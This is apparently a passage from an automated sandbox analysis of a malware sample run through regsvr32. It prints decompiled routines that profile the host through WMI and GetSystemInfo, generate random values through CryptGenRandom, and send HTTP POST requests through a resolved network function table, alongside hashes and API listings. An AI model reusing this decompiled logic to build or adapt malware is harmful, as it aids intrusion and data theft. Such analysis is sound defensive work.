CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E4A9
CoCreateInstance.OLE32(0074C8A0,00000000,00000001,0074C8B0,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E4C0
SysAllocString.OLEAUT32(00000000), ref: 0073E4CB
CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E4F6

Part of subcall function 00738DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00739793,00000100,?,0073661B), ref: 00738DD7

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: Initialize$AllocAllocateBlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 1610782348-0
Opcode ID: dc050bec8f1de2e09a70e677ea405252ec8aac25c0a45da643b2ec6b8efdeec8
Instruction ID: 84974916a1e43ebf9ec58cec22485c4e694ffba0cc9be26682b9744f895d7582
Opcode Fuzzy Hash: dc050bec8f1de2e09a70e677ea405252ec8aac25c0a45da643b2ec6b8efdeec8
Instruction Fuzzy Hash: B9212C74600245BBEB248B62DC4DE6FBF7CEFC7B14F10415DB506A6291D7759A00DA70

Uniqueness

Uniqueness Score: -1.00%

Function 0073DDE7 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0073DDE7(void* __ecx) {
				struct _SYSTEM_INFO _v40;
				void* _t5;

				if(__ecx == 0) {
					GetSystemInfo( &_v40);
					return _v40.dwOemId & 0x0000ffff;
				} else {
					_t5 = 9;
					return _t5;
				}
			}

0x0073ddef
0x0073ddfa
0x0073de05
0x0073ddf1
0x0073ddf3
0x0073ddf5
0x0073ddf5

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,0073E1C0), ref: 0073DDFA

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 2fc23202c023d21f59c5a5dac5b7984f9037f06fd2f98a053371787a4d509953
Instruction ID: 0dab313779cbaad638e56f8c2236dda9cda17334645a0443fb549c86c901c57e
Opcode Fuzzy Hash: 2fc23202c023d21f59c5a5dac5b7984f9037f06fd2f98a053371787a4d509953
Instruction Fuzzy Hash: B6C01265A0120B56DF149BA5B9166EB73FC5B44649F100456EE02F20D1EB64DD414260

Uniqueness

Uniqueness Score: -1.00%

Function 0073EACA Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 388
memoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0073EACA(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4) {
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				void* _v28;
				signed int _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				signed int _v60;
				char* _v72;
				signed short _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				char _v616;
				intOrPtr* _t159;
				char _t165;
				signed int _t166;
				signed int _t173;
				signed int _t178;
				signed int _t186;
				intOrPtr* _t187;
				signed int _t188;
				signed int _t192;
				intOrPtr* _t193;
				intOrPtr _t200;
				intOrPtr* _t205;
				signed int _t207;
				signed int _t209;
				intOrPtr* _t210;
				intOrPtr _t212;
				intOrPtr* _t213;
				signed int _t214;
				char _t217;
				signed int _t218;
				signed int _t219;
				signed int _t230;
				signed int _t235;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				intOrPtr* _t247;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr* _t253;
				void* _t255;
				intOrPtr* _t261;
				signed int _t262;
				signed int _t283;
				signed int _t289;
				char* _t298;
				void* _t320;
				signed int _t322;
				intOrPtr* _t323;
				intOrPtr _t324;
				signed int _t327;
				intOrPtr* _t328;
				intOrPtr* _t329;

				_v32 = _v32 & 0x00000000;
				_v60 = _v60 & 0x00000000;
				_v56 = __edx;
				_v100 = __ecx;
				_t159 = E0073E485(__ecx);
				_t251 = _t159;
				_v104 = _t251;
				if(_t251 == 0) {
					return _t159;
				}
				_t320 = E00738DC9(0x10);
				_v36 = _t320;
				_pop(_t255);
				if(_t320 == 0) {
					L53:
					E00738DDF( &_v60, 0xfffffffe);
					E0073E539( &_v104);
					return _t320;
				}
				_t165 = E00739F85(_t255, 0xcdd);
				 *_t328 = 0x6b4;
				_v52 = _t165;
				_t166 = E00739F85(_t255);
				_push(0);
				_push(_v56);
				_v20 = _t166;
				_push(_t166);
				_push(_a4);
				_t322 = E00739C50(_t165);
				_v60 = _t322;
				E00738D9A( &_v52);
				E00738D9A( &_v20);
				_t329 = _t328 + 0x20;
				if(_t322 != 0) {
					_t323 = __imp__#2;
					_v40 =  *_t323(_t322);
					_t173 = E00739F85(_t255, 0xc93);
					_v20 = _t173;
					_v52 =  *_t323(_t173);
					E00738D9A( &_v20);
					_t324 = _v40;
					_t261 =  *_t251;
					_t252 = 0;
					_t178 =  *((intOrPtr*)( *_t261 + 0x50))(_t261, _v52, _t324, 0, 0,  &_v32);
					__eflags = _t178;
					if(_t178 != 0) {
						L52:
						__imp__#6(_t324);
						__imp__#6(_v52);
						goto L53;
					}
					_t262 = _v32;
					_v28 = 0;
					_v20 = 0;
					__eflags = _t262;
					if(_t262 == 0) {
						L49:
						 *((intOrPtr*)( *_t262 + 8))(_t262);
						__eflags = _t252;
						if(_t252 == 0) {
							E00738DDF( &_v36, 0);
							_t320 = _v36;
						} else {
							 *(_t320 + 8) = _t252;
							 *_t320 = E00739AB3(_v100);
							 *((intOrPtr*)(_t320 + 4)) = E00739AB3(_v56);
						}
						goto L52;
					} else {
						goto L6;
					}
					while(1) {
						L6:
						_t186 =  *((intOrPtr*)( *_t262 + 0x10))(_t262, 0xea60, 1,  &_v28,  &_v84);
						__eflags = _t186;
						if(_t186 != 0) {
							break;
						}
						_v16 = 0;
						_v48 = 0;
						_v12 = 0;
						_v24 = 0;
						__eflags = _v84;
						if(_v84 == 0) {
							break;
						}
						_t187 = _v28;
						_t188 =  *((intOrPtr*)( *_t187 + 0x1c))(_t187, 0, 0x40, 0,  &_v24);
						__eflags = _t188;
						if(_t188 >= 0) {
							__imp__#20(_v24, 1,  &_v16);
							__imp__#19(_v24, 1,  &_v48);
							_t46 = _t320 + 0xc; // 0xc
							_t253 = _t46;
							_t327 = _t252 << 3;
							_t47 = _t327 + 8; // 0x8
							_t192 = E00738E5D(_t327, _t47);
							__eflags = _t192;
							if(_t192 == 0) {
								__imp__#16(_v24);
								_t193 = _v28;
								 *((intOrPtr*)( *_t193 + 8))(_t193);
								L46:
								_t252 = _v20;
								break;
							}
							 *(_t327 +  *_t253) = _v48 - _v16 + 1;
							 *((intOrPtr*)(_t327 +  *_t253 + 4)) = E00738DC9( *(_t327 +  *_t253) << 3);
							_t200 =  *_t253;
							__eflags =  *(_t327 + _t200 + 4);
							if( *(_t327 + _t200 + 4) == 0) {
								_t136 = _t320 + 0xc; // 0xc
								E00738DDF(_t136, 0);
								E00738DDF( &_v36, 0);
								__imp__#16(_v24);
								_t205 = _v28;
								 *((intOrPtr*)( *_t205 + 8))(_t205);
								_t320 = _v36;
								goto L46;
							}
							_t207 = _v16;
							while(1) {
								_v12 = _t207;
								__eflags = _t207 - _v48;
								if(_t207 > _v48) {
									break;
								}
								_v44 = _v44 & 0x00000000;
								_t209 =  &_v12;
								__imp__#25(_v24, _t209,  &_v44);
								__eflags = _t209;
								if(_t209 < 0) {
									break;
								}
								_t212 = E00739AB3(_v44);
								 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + (_v12 - _v16) * 8)) = _t212;
								_t213 = _v28;
								_t281 =  *_t213;
								_t214 =  *((intOrPtr*)( *_t213 + 0x10))(_t213, _v44, 0,  &_v80, 0, 0);
								__eflags = _t214;
								if(_t214 < 0) {
									L39:
									__imp__#6(_v44);
									_t207 = _v12 + 1;
									__eflags = _t207;
									continue;
								}
								_v92 = E00739F85(_t281, 0xcc1);
								 *_t329 = 0xabe;
								_t217 = E00739F85(_t281);
								_t283 = _v80;
								_v96 = _t217;
								_t218 = _t283 & 0x0000ffff;
								__eflags = _t218 - 0xb;
								if(__eflags > 0) {
									_t219 = _t218 - 0x10;
									__eflags = _t219;
									if(_t219 == 0) {
										L35:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E00738DC9(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											L38:
											E00738D9A( &_v92);
											E00738D9A( &_v96);
											__imp__#9( &_v80);
											goto L39;
										}
										_push(_v72);
										_push(L"%d");
										L37:
										_push(0xc);
										_push(_t289);
										E00739FE4();
										_t329 = _t329 + 0x10;
										goto L38;
									}
									_t230 = _t219 - 1;
									__eflags = _t230;
									if(_t230 == 0) {
										L33:
										 *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8)) = E00738DC9(0x18);
										_t289 =  *((intOrPtr*)( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8));
										__eflags = _t289;
										if(_t289 == 0) {
											goto L38;
										}
										_push(_v72);
										_push(L"%u");
										goto L37;
									}
									_t235 = _t230 - 1;
									__eflags = _t235;
									if(_t235 == 0) {
										goto L33;
									}
									__eflags = _t235 == 1;
									if(_t235 == 1) {
										goto L33;
									}
									L28:
									__eflags = _t283 & 0x00002000;
									if((_t283 & 0x00002000) == 0) {
										_v88 = E00739F85(_t283, 0x2a);
										E00739FE4( &_v616, 0x100, _t237, _v80 & 0x0000ffff);
										E00738D9A( &_v88);
										_t329 = _t329 + 0x18;
										_t298 =  &_v616;
										L31:
										_t242 = E00739AB3(_t298);
										L32:
										 *( *((intOrPtr*)(_t327 +  *_t253 + 4)) + 4 + (_v12 - _v16) * 8) = _t242;
										goto L38;
									}
									_t242 = E0073E9AE( &_v80);
									goto L32;
								}
								if(__eflags == 0) {
									__eflags = _v72 - 0xffff;
									_t298 = L"TRUE";
									if(_v72 != 0xffff) {
										_t298 = L"FALSE";
									}
									goto L31;
								}
								_t243 = _t218 - 1;
								__eflags = _t243;
								if(_t243 == 0) {
									goto L38;
								}
								_t244 = _t243 - 1;
								__eflags = _t244;
								if(_t244 == 0) {
									goto L35;
								}
								_t245 = _t244 - 1;
								__eflags = _t245;
								if(_t245 == 0) {
									goto L35;
								}
								__eflags = _t245 != 5;
								if(_t245 != 5) {
									goto L28;
								}
								_t298 = _v72;
								goto L31;
							}
							__imp__#16(_v24);
							_t210 = _v28;
							 *((intOrPtr*)( *_t210 + 8))(_t210);
							_t252 = _v20;
							L42:
							_t262 = _v32;
							_t252 = _t252 + 1;
							_v20 = _t252;
							__eflags = _t262;
							if(_t262 != 0) {
								continue;
							}
							L48:
							_t324 = _v40;
							goto L49;
						}
						_t247 = _v28;
						 *((intOrPtr*)( *_t247 + 8))(_t247);
						goto L42;
					}
					_t262 = _v32;
					goto L48;
				} else {
					E00738DDF( &_v36, _t322);
					_t320 = _v36;
					goto L53;
				}
			}

0x0073ead3
0x0073ead9
0x0073eae0
0x0073eae3
0x0073eae6
0x0073eaeb
0x0073eaed
0x0073eaf2
0x0073ef37
0x0073ef37
0x0073eaff
0x0073eb01
0x0073eb04
0x0073eb07
0x0073ef1c
0x0073ef22
0x0073ef2c
0x00000000
0x0073ef31
0x0073eb12
0x0073eb19
0x0073eb20
0x0073eb23
0x0073eb28
0x0073eb2a
0x0073eb2d
0x0073eb30
0x0073eb31
0x0073eb3a
0x0073eb40
0x0073eb43
0x0073eb4c
0x0073eb51
0x0073eb56
0x0073eb6d
0x0073eb7a
0x0073eb7d
0x0073eb84
0x0073eb89
0x0073eb90
0x0073eb95
0x0073eb9c
0x0073eb9e
0x0073ebaa
0x0073ebad
0x0073ebaf
0x0073ef0c
0x0073ef0d
0x0073ef16
0x00000000
0x0073ef16
0x0073ebb5
0x0073ebb8
0x0073ebbb
0x0073ebbe
0x0073ebc0
0x0073eed8
0x0073eedb
0x0073eede
0x0073eee0
0x0073ef02
0x0073ef07
0x0073eee2
0x0073eee5
0x0073eef0
0x0073eef7
0x0073eef7
0x00000000
0x00000000
0x00000000
0x00000000
0x0073ebc6
0x0073ebc6
0x0073ebd8
0x0073ebdb
0x0073ebdd
0x00000000
0x00000000
0x0073ebe5
0x0073ebe8
0x0073ebeb
0x0073ebee
0x0073ebf1
0x0073ebf4
0x00000000
0x00000000
0x0073ebfa
0x0073ec08
0x0073ec0b
0x0073ec0d
0x0073ec26
0x0073ec35
0x0073ec3d
0x0073ec3d
0x0073ec40
0x0073ec47
0x0073ec4b
0x0073ec51
0x0073ec53
0x0073eec0
0x0073eec6
0x0073eecc
0x0073eecf
0x0073eecf
0x00000000
0x0073eecf
0x0073ec62
0x0073ec76
0x0073ec7a
0x0073ec7c
0x0073ec81
0x0073ee8d
0x0073ee93
0x0073ee9e
0x0073eea9
0x0073eeaf
0x0073eeb5
0x0073eeb8
0x00000000
0x0073eeb8
0x0073ec87
0x0073ee5b
0x0073ee5b
0x0073ee5e
0x0073ee61
0x00000000
0x00000000
0x0073ec8f
0x0073ec97
0x0073ec9e
0x0073eca4
0x0073eca6
0x00000000
0x00000000
0x0073ecaf
0x0073ecc4
0x0073ecca
0x0073ecd3
0x0073ecd6
0x0073ecd9
0x0073ecdb
0x0073ee4e
0x0073ee51
0x0073ee5a
0x0073ee5a
0x00000000
0x0073ee5a
0x0073eceb
0x0073ecee
0x0073ecf5
0x0073ecfb
0x0073ecfe
0x0073ed01
0x0073ed04
0x0073ed07
0x0073ed43
0x0073ed43
0x0073ed46
0x0073edef
0x0073ee03
0x0073ee13
0x0073ee17
0x0073ee19
0x0073ee30
0x0073ee34
0x0073ee3d
0x0073ee48
0x00000000
0x0073ee48
0x0073ee1f
0x0073ee20
0x0073ee25
0x0073ee25
0x0073ee27
0x0073ee28
0x0073ee2d
0x00000000
0x0073ee2d
0x0073ed4c
0x0073ed4c
0x0073ed4f
0x0073edb7
0x0073edcb
0x0073eddb
0x0073eddf
0x0073ede1
0x00000000
0x00000000
0x0073ede7
0x0073ede8
0x00000000
0x0073ede8
0x0073ed51
0x0073ed51
0x0073ed54
0x00000000
0x00000000
0x0073ed56
0x0073ed59
0x00000000
0x00000000
0x0073ed5b
0x0073ed5b
0x0073ed61
0x0073ed7a
0x0073ed89
0x0073ed92
0x0073ed97
0x0073ed9a
0x0073eda0
0x0073eda0
0x0073eda5
0x0073edb1
0x00000000
0x0073edb1
0x0073ed66
0x00000000
0x0073ed66
0x0073ed09
0x0073ed30
0x0073ed35
0x0073ed3a
0x0073ed3c
0x0073ed3c
0x00000000
0x0073ed3a
0x0073ed0b
0x0073ed0b
0x0073ed0e
0x00000000
0x00000000
0x0073ed14
0x0073ed14
0x0073ed17
0x00000000
0x00000000
0x0073ed1d
0x0073ed1d
0x0073ed20
0x00000000
0x00000000
0x0073ed26
0x0073ed29
0x00000000
0x00000000
0x0073ed2b
0x00000000
0x0073ed2b
0x0073ee6a
0x0073ee70
0x0073ee76
0x0073ee79
0x0073ee7c
0x0073ee7c
0x0073ee7f
0x0073ee80
0x0073ee83
0x0073ee85
0x00000000
0x00000000
0x0073eed5
0x0073eed5
0x00000000
0x0073eed5
0x0073ec0f
0x0073ec15
0x00000000
0x0073ec15
0x0073eed2
0x00000000
0x0073eb58
0x0073eb5d
0x0073eb62
0x00000000
0x0073eb66

APIs

Part of subcall function 0073E485: CoInitializeEx.OLE32(00000000,00000000,00000000,00000000,00000000,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E498
Part of subcall function 0073E485: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E4A9
Part of subcall function 0073E485: CoCreateInstance.OLE32(0074C8A0,00000000,00000001,0074C8B0,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E4C0
Part of subcall function 0073E485: SysAllocString.OLEAUT32(00000000), ref: 0073E4CB
Part of subcall function 0073E485: CoSetProxyBlanket.OLE32(00000005,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,0073E7B4,00000E16,00000000,00000000,00000005), ref: 0073E4F6

Part of subcall function 00738DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00739793,00000100,?,0073661B), ref: 00738DD7

SysAllocString.OLEAUT32(00000000), ref: 0073EB73
SysAllocString.OLEAUT32(00000000), ref: 0073EB87
SysFreeString.OLEAUT32(?), ref: 0073EF0D
SysFreeString.OLEAUT32(?), ref: 0073EF16

Part of subcall function 00738DDF: HeapFree.KERNEL32(00000000,00000000), ref: 00738E25

Strings

TRUE, xrefs: 0073ED35
FALSE, xrefs: 0073ED3C

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: String$AllocFree$HeapInitialize$AllocateBlanketCreateInstanceProxySecurity
String ID: FALSE$TRUE
API String ID: 1290676130-1412513891
Opcode ID: aec18a4e1d53c7284b1defc1fbd69a864d0eadf7162e67476095bb2343a5cafb
Instruction ID: cf3851d2065922089378d3f734c088b5783ab6d89fcdc9807314081775451fcc
Opcode Fuzzy Hash: aec18a4e1d53c7284b1defc1fbd69a864d0eadf7162e67476095bb2343a5cafb
Instruction Fuzzy Hash: F5E14C71E00219EFEB14DFA4C889EEEBBB9FF48300F104559F505AB296DB79A901CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00742951 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 66
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00742951(intOrPtr* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char _v16;
				_Unknown_base(*)()* _t15;
				void* _t20;
				intOrPtr* _t25;
				intOrPtr* _t29;
				struct HINSTANCE__* _t30;

				_v8 = _v8 & 0x00000000;
				_t30 = GetModuleHandleW(L"advapi32.dll");
				if(_t30 == 0) {
					L7:
					return 1;
				}
				_t25 = GetProcAddress(_t30, "CryptAcquireContextA");
				if(_t25 == 0) {
					goto L7;
				}
				_t15 = GetProcAddress(_t30, "CryptGenRandom");
				_v12 = _t15;
				if(_t15 == 0) {
					goto L7;
				}
				_t29 = GetProcAddress(_t30, "CryptReleaseContext");
				if(_t29 == 0) {
					goto L7;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if( *_t25() == 0) {
					goto L7;
				}
				_t20 = _v12(_v8, 4,  &_v16);
				 *_t29(_v8, 0);
				if(_t20 == 0) {
					goto L7;
				}
				 *_a4 = E007428AC( &_v16);
				return 0;
			}

0x00742957
0x00742969
0x0074296d
0x007429e1
0x00000000
0x007429e3
0x0074297d
0x00742981
0x00000000
0x00000000
0x00742989
0x0074298b
0x00742990
0x00000000
0x00000000
0x0074299a
0x0074299e
0x00000000
0x00000000
0x007429a0
0x007429a5
0x007429a7
0x007429a9
0x007429ae
0x007429b3
0x00000000
0x00000000
0x007429be
0x007429c8
0x007429cc
0x00000000
0x00000000
0x007429db
0x00000000

APIs

GetModuleHandleW.KERNEL32(advapi32.dll,00000000,00000000,00000000,00737C84), ref: 00742963
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 0074297B
GetProcAddress.KERNEL32(00000000,CryptGenRandom), ref: 00742989
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 00742998

Strings

CryptAcquireContextA, xrefs: 00742975
CryptGenRandom, xrefs: 00742983
advapi32.dll, xrefs: 0074295E
CryptReleaseContext, xrefs: 00742992

Memory Dump Source

Source File: 00000003.00000002.320581974.0000000000730000.00000040.00000800.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_730000_regsvr32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: bb22f30b46c0db0e02967fce1ca02a16f1c8ab11a768269f44c35f87c38bdf55
Instruction ID: 4fc301aba9213e13e15a9b11f7a8f7bbca262da9d98c133482412b8d799eceae
Opcode Fuzzy Hash: bb22f30b46c0db0e02967fce1ca02a16f1c8ab11a768269f44c35f87c38bdf55
Instruction Fuzzy Hash: A211C876A48719BBDB2196B48C46F9FB6ACAF45750F510161FA00F31D0DBB8EE018654

Uniqueness

Uniqueness Score: -1.00%

Function 0073F7A3 Relevance: 12.3, APIs: 7, Strings: 1, Instructions: 268
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0073F7A3(void* __edx, intOrPtr _a4, intOrPtr _a8, signed int* _a12, signed int* _a16, signed int* _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				int _v68;
				void* _v72;
				intOrPtr _v92;
				int _v96;
				void* _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				char _v116;
				char _v132;
				void _v388;
				void _v644;
				intOrPtr _t94;
				intOrPtr _t102;
				signed int _t104;
				intOrPtr* _t105;
				intOrPtr _t110;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				signed int _t116;
				char _t117;
				intOrPtr _t119;
				char _t122;
				intOrPtr _t127;
				signed int _t129;
				intOrPtr _t135;
				intOrPtr _t139;
				intOrPtr _t143;
				intOrPtr _t145;
				intOrPtr _t147;
				intOrPtr _t153;
				intOrPtr _t155;
				intOrPtr _t159;
				void* _t163;
				signed int _t165;
				void* _t166;
				intOrPtr _t179;
				signed int _t186;
				char _t188;
				signed int _t189;
				void* _t190;
				char _t193;
				signed int _t194;
				signed int _t195;
				void* _t196;

				_v24 = 4;
				_v32 = 0;
				_v28 = 1;
				_t190 = __edx;
				memset( &_v388, 0, 0x100);
				memset( &_v644, 0, 0x100);
				_t166 = 0x65;
				_v56 = E00739F6B(_t166);
				_v52 = E00739F6B(0xcc6);
				_v48 = E00739F6B(0xe03);
				_v44 = E00739F6B(0x64c);
				_t94 = E00739F6B(0x80a);
				_v36 = _v36 & 0;
				_t188 = 0x3c;
				_v40 = _t94;
				E00738F63( &_v116, 0, 0x100);
				_v108 = 0x10;
				_v112 =  &_v132;
				_v116 = _t188;
				_v100 =  &_v388;
				_v96 = 0x100;
				_v72 =  &_v644;
				_push( &_v116);
				_push(0);
				_v68 = 0x100;
				_push(E0073A5D0(_t190));
				_t102 =  *0x74f8f0; // 0x0
				_push(_t190);
				if( *((intOrPtr*)(_t102 + 0x28))() != 0) {
					_t104 = 0;
					__eflags = 0;
					_v12 = 0;
					do {
						_t105 =  *0x74f8f0; // 0x0
						_v8 = 0x8404f700;
						_t189 =  *_t105( *0x74f9d8,  *((intOrPtr*)(_t196 + _t104 * 4 - 0x1c)), 0, 0, 0);
						__eflags = _t189;
						if(_t189 != 0) {
							E0073F73B(_t189);
							_t110 =  *0x74f8f0; // 0x0
							_t111 =  *((intOrPtr*)(_t110 + 0x1c))(_t189,  &_v388, _v92, 0, 0, 3, 0, 0);
							__eflags = _a24;
							_t165 = _t111;
							if(_a24 != 0) {
								E0073A1F8(_a24);
							}
							__eflags = _t165;
							if(_t165 != 0) {
								__eflags = _v104 - 4;
								_t112 = 0x8484f700;
								if(_v104 != 4) {
									_t112 = _v8;
								}
								_t115 =  *0x74f8f0; // 0x0
								_t116 =  *((intOrPtr*)(_t115 + 0x20))(_t165, "POST",  &_v644, 0, 0,  &_v56, _t112, 0);
								_v8 = _t116;
								__eflags = _a24;
								if(_a24 != 0) {
									E0073A1F8(_a24);
									_t116 = _v8;
								}
								__eflags = _t116;
								if(_t116 != 0) {
									__eflags = _v104 - 4;
									if(_v104 == 4) {
										E0073F6E9(_t116);
									}
									_t117 = E00739F6B(0x82e);
									_t193 = _t117;
									_v16 = _t193;
									_t119 =  *0x74f8f0; // 0x0
									_t194 = _v8;
									_v8 =  *((intOrPtr*)(_t119 + 0x24))(_t194, _t193, E0073A5D0(_t193), _a4, _a8);
									E00738D87( &_v16);
									__eflags = _a24;
									if(_a24 != 0) {
										E0073A1F8(_a24);
									}
									__eflags = _v8;
									if(_v8 != 0) {
										L25:
										_t122 = 8;
										_v24 = _t122;
										_v20 = 0;
										_v16 = 0;
										E00738F63( &_v20, 0, _t122);
										_t127 =  *0x74f8f0; // 0x0
										__eflags =  *((intOrPtr*)(_t127 + 0xc))(_t194, 0x13,  &_v20,  &_v24, 0);
										if(__eflags != 0) {
											_t129 = E0073A102( &_v20, __eflags);
											__eflags = _t129 - 0xc8;
											if(_t129 == 0xc8) {
												 *_a20 = _t194;
												 *_a12 = _t189;
												 *_a16 = _t165;
												__eflags = 0;
												return 0;
											}
											_v12 =  ~_t129;
											L29:
											_t135 =  *0x74f8f0; // 0x0
											 *((intOrPtr*)(_t135 + 8))(_t194);
											_t195 = _v12;
											L30:
											__eflags = _t165;
											if(_t165 != 0) {
												_t139 =  *0x74f8f0; // 0x0
												 *((intOrPtr*)(_t139 + 8))(_t165);
											}
											__eflags = _t189;
											if(_t189 != 0) {
												_t179 =  *0x74f8f0; // 0x0
												 *((intOrPtr*)(_t179 + 8))(_t189);
											}
											return _t195;
										}
										GetLastError();
										_v12 = 0xfffffff8;
										goto L29;
									} else {
										GetLastError();
										_t143 =  *0x74f8f0; // 0x0
										 *((intOrPtr*)(_t143 + 8))(_t194);
										_t145 =  *0x74f8f0; // 0x0
										_v8 = _v8 & 0x00000000;
										 *((intOrPtr*)(_t145 + 8))(_t165);
										_t147 =  *0x74f8f0; // 0x0
										_t165 = 0;
										__eflags = 0;
										 *((intOrPtr*)(_t147 + 8))(_t189);
										_t194 = _v8;
										goto L21;
									}
								} else {
									GetLastError();
									_t153 =  *0x74f8f0; // 0x0
									 *((intOrPtr*)(_t153 + 8))(_t165);
									_t155 =  *0x74f8f0; // 0x0
									_t165 = 0;
									 *((intOrPtr*)(_t155 + 8))(_t189);
									_t189 = 0;
									_t194 = _v8;
									goto L22;
								}
							} else {
								GetLastError();
								_t159 =  *0x74f8f0; // 0x0
								 *((intOrPtr*)(_t159 + 8))(_t189);
								L21:
								_t189 = 0;
								__eflags = 0;
								goto L22;
							}
						}
						GetLastError();
						L22:
						_t186 = _t194;
						_t104 = _v12 + 1;
						_v12 = _t104;
						__eflags = _t104 - 2;
					} while (_t104 < 2);
					__eflags = _t186;
					if(_t186 != 0) {
						goto L25;
					}
					_t195 = 0xfffffffe;
					goto L30;
				}
				_t163 = 0xfffffffc;
				return _t163;
			}

0x0073f7b1
0x0073f7bd
0x0073f7c4
0x0073f7d1
0x0073f7d4
0x0073f7e5
0x0073f7ef
0x0073f7fa
0x0073f807
0x0073f814
0x0073f821
0x0073f824
0x0073f829
0x0073f82e
0x0073f830
0x0073f838
0x0073f840
0x0073f847
0x0073f853
0x0073f856
0x0073f864
0x0073f867
0x0073f86d
0x0073f86e
0x0073f870
0x0073f879
0x0073f87a
0x0073f87f
0x0073f885
0x0073f88f
0x0073f88f
0x0073f891
0x0073f896
0x0073f8a0
0x0073f8ab
0x0073f8b4
0x0073f8b6
0x0073f8b8
0x0073f8c7
0x0073f8de
0x0073f8e4
0x0073f8e7
0x0073f8eb
0x0073f8ed
0x0073f8f2
0x0073f8f2
0x0073f8f7
0x0073f8f9
0x0073f90f
0x0073f913
0x0073f918
0x0073f91a
0x0073f91a
0x0073f92e
0x0073f939
0x0073f93c
0x0073f93f
0x0073f942
0x0073f947
0x0073f94c
0x0073f94c
0x0073f94f
0x0073f951
0x0073f977
0x0073f97b
0x0073f97f
0x0073f97f
0x0073f989
0x0073f991
0x0073f996
0x0073f9a1
0x0073f9a7
0x0073f9b1
0x0073f9b4
0x0073f9b9
0x0073f9bd
0x0073f9c2
0x0073f9c2
0x0073f9c7
0x0073f9cb
0x0073fa16
0x0073fa18
0x0073fa1b
0x0073fa23
0x0073fa27
0x0073fa2a
0x0073fa3c
0x0073fa47
0x0073fa49
0x0073fa5d
0x0073fa62
0x0073fa67
0x0073fa9c
0x0073faa1
0x0073faa6
0x0073faa8
0x00000000
0x0073faa8
0x0073fa6b
0x0073fa6e
0x0073fa6e
0x0073fa74
0x0073fa77
0x0073fa7a
0x0073fa7a
0x0073fa7c
0x0073fa7e
0x0073fa84
0x0073fa84
0x0073fa87
0x0073fa89
0x0073fa8b
0x0073fa92
0x0073fa92
0x00000000
0x0073fa95
0x0073fa4b
0x0073fa51
0x00000000
0x0073f9cd
0x0073f9cd
0x0073f9d3
0x0073f9d9
0x0073f9dc
0x0073f9e1
0x0073f9e6
0x0073f9e9
0x0073f9ee
0x0073f9ee
0x0073f9f1
0x0073f9f4
0x00000000
0x0073f9f4
0x0073f953
